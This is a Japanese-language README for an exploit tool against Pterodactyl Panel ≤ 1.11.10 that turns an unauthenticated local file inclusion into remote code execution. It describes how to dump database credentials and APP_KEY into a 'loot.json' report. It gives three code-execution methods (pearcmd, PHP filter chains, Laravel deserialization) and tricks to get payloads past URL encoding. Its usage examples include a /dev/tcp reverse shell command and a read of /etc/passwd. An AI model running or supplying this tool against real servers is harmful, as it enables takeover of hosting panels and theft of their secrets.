
Pterodactyl Panel ≤ 1.11.10 のエクスプロイト - 未認証LFIからRCEへ
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___| |_| /_/ |_|___/ /___|
Pterodactyl Panel ≤ 1.11.10 用エクスプロイト - 未認証の LFI から RCE へ。
/locales/locale.json エンドポイントは locale と namespace パラメータを受け取り、これらはサニタイズや認証なしで PHP の include() に直接渡されます。悪用防止を目的とした hash パラメータは、パッチ未適用バージョンでは一切強制されません。
これにより以下が可能になります:
.php 設定ファイルを読み取り (データベース認証情報、APP_KEY、メール、セッション…)pearcmd.php のインクルード (register_argc_argv + config-create のトリック)、PHP フィルターチェーン、または漏洩した APP_KEY による Laravel デシリアライゼーションを介して影響を受けるバージョン: Pterodactyl Panel ≤ 1.11.10 修正バージョン: 1.11.11
元の PoC は Python の requests を使用して pearcmd ペイロードを送信します。問題点: requests は <、>、{、} などの文字を黙って URL エンコードするため、URL 内に埋め込まれた PHP タグ (<?=system(...)?>) が壊れてしまいます。
このエクスプロイトは、2 つの主要な変更によりこの問題を修正しています:
curl を使用 - ペイロード作成リクエストは subprocess 経由で curl -g (globoff) を使用し、Python の URL エンコードを完全にバイパスします。hex2bin() を使用 - 生のコマンド (スペースや特殊文字で壊れる) を注入する代わりに、コマンドを hex エンコードし、サーバー側で system(hex2bin('...')) によりデコードします。Hex は 0-9a-f のみを使用するため、+ も = も & もスペースも含まれません。つまり、>& や /dev/tcp/ を使用するリバースシェルを含む、あらゆるコマンドが動作します。pip install requests
オプション (フィルターチェーン / デシリアライゼーション RCE 方式用):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
| オプション | 説明 |
|---|---|
target | ターゲット URL (例: http://panel.pterodactyl.fr) |
--rce-cmd CMD | CMD を pearcmd 経由で実行 (リバースシェルを含む任意のコマンドをサポート) |
--rce-filter CMD | CMD を PHP フィルターチェーン経由で実行 |
--filter-chain CHAIN | 事前生成済みの php://filter チェーンを使用 (--rce-filter と併用) |
--rce-d CMD | CMD を Laravel デシリアライゼーション経由で実行 |
--pear-dir PATH | pearcmd.php ディレクトリへのパス (デフォルト: /usr/share/php) |
--timeout N | リクエストタイムアウト (秒) (デフォルト: 10) |
--verify-ssl | SSL 証明書の検証を有効化 (デフォルトでは無効) |
-o FILE | レポートファイルの出力先 (デフォルト: loot.json) |
--pear-dir の値| ディストリビューション | パス |
|---|---|
| Debian / Ubuntu | /usr/share/php (デフォルト) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 または /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
--rce-cmd / --rce-filter / --rce-d を指定せずに実行すると、エクスプロイトは設定の完全抽出を実行します:
/etc/passwd、ホスト名、カーネルバージョンの読み取りを試行完全な JSON レポートは loot.json に保存されます (-o でカスタムパスを指定可能)。
このエクスプロイトは GRodolphe/CVE-2025-49132_poc の PoC を改良したものであり、その PoC 自体は 0xtensho/CVE-2025-49132-poc のオリジナル PoC に触発されたものです。